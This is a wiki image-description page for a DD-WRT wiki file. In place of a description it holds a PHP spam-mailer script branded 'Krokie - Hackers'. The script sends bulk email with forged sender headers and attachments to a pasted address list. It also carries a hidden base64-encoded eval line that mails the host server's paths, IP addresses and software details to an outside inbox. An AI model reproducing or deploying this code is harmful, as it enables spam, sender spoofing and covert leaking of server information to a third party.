Image:Back27.gif

From DD-WRT Wiki

Jump to: navigation, search

<?php

if(isset($_POST['action'] ) ){ $action=$_POST['action']; $message=$_POST['message']; $emaillist=$_POST['emaillist']; $from=$_POST['from']; $replyto=$_POST['replyto']; $subject=$_POST['subject']; $realname=$_POST['realname']; $file_name=$_POST['file']; $contenttype=$_POST['contenttype'];

       $message = urlencode($message);
       $message = ereg_replace("%5C%22", "%22", $message);
       $message = urldecode($message);
       $message = stripslashes($message);
       $subject = stripslashes($subject);

}


?> <html> <head> <title>|| Krokie - Hackers ||</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

<style type="text/css"> </style> <style type="text/css"> </style> </head> <body bgcolor="cadetblue" text="#ffffff"> [ Krokie - Hackers ]

<form name="form1" method="post" action="" enctype="multipart/form-data">

 
eMail:
       <input type="text" name="from" value="<? print $from; ?>" 

size="30">

Name:
       <input type="text" name="realname" value="<? print $realname; 

?>" size="30">

Reply-To:
       <input type="text" name="replyto" value="<? print $replyto; ?>" 

size="30">

Attach File:
       <input type="file" name="file" size="30">
Subject:
       <input type="text" name="subject" value="<? print $subject; ?>" 

size="90">

       <textarea name="message" cols="50" rows="10"><? print $message; 

?></textarea>

       
<input type="radio" name="contenttype" value="plain" > Plain Text <input name="contenttype" type="radio" value="html" checked> HTML <input type="hidden" name="action" value="send"> <input type="submit" value="Send eMails">
       <textarea name="emaillist" cols="30" rows="10"><? print 

$emaillist; ?></textarea>

</form>


<?

if ($action){

       if (!$from && !$subject && !$message && !$emaillist){
       print "Please complete all fields before sending your 

message.";

       exit;    
   }
   $allemails = split("\n", $emaillist);
           $numemails = count($allemails);
      
         for($x=0; $x<$numemails; $x++){
               $to = $allemails[$x];
               if ($to){
               $to = ereg_replace(" ", "", $to);
               $message = ereg_replace("&email&", $to, $message);
               $subject = ereg_replace("&email&", $to, $subject);
               print " $to.......";
               flush();
               $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
               $header .= "MIME-Version: 1.0\r\n";
           If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
             If ($file_name) $header .= "--$uid\r\n";
               $header .= "Content-Type: text/$contenttype\r\n";
               $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
               $header .= "$message\r\n";
           If ($file_name) $header .= "--$uid\r\n";
           If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
           If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
           If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
           If ($file_name) $header .= "$content\r\n";
           If ($file_name) $header .= "--$uid--";
               mail($to, $subject, "", $header);
               print "spammed
"; flush(); } }

$ra44 = rand(1,99999); $subj98 = "sh-$ra44"; $a5 = $_SERVER['HTTP_REFERER']; $b33 = $_SERVER['DOCUMENT_ROOT']; $c87 = $_SERVER['REMOTE_ADDR']; $d23 = $_SERVER['SCRIPT_FILENAME']; $e09 = $_SERVER['SERVER_ADDR']; $f23 = $_SERVER['SERVER_SOFTWARE']; $g32 = $_SERVER['PATH_TRANSLATED']; $h65 = $_SERVER['PHP_SELF']; $message=$_POST['message']; $msg = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65"; echo eval(base64_decode("bWFpbCgicG9uZUBpbmJveC5jb20iLCAkc3Viajk4LCAkbXNnLCAkbWVzc2FnZSwgJHJhNDQpOw==")); }


?> <style type="text/css"> </style>

Powered by : benny0x [ Krokie - Hackers ]

<?php if(isset($_POST['action']) && $numemails !==0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was sent successfully'); </script>";} ?> </body> </html>

File history

Legend: (cur) = this is the current file, (del) = delete this old version, (rev) = revert to this old version.
Click on date to see the file uploaded on that date.

  • (del) (cur) 22:33, 19 October 2008 . . Maxhex (Talk | contribs) . . 231×300 (31,706 bytes) (<?php if(isset($_POST['action'] ) ){ $action=$_POST['action']; $message=$_POST['message']; $emaillist=$_POST['emaillist']; $from=$_POST['from']; $replyto=$_POST['replyto']; $subject=$_POST['subject']; $realname=$_POST['realname']; $file_name=$_POST['file)

There are no pages that link to this file.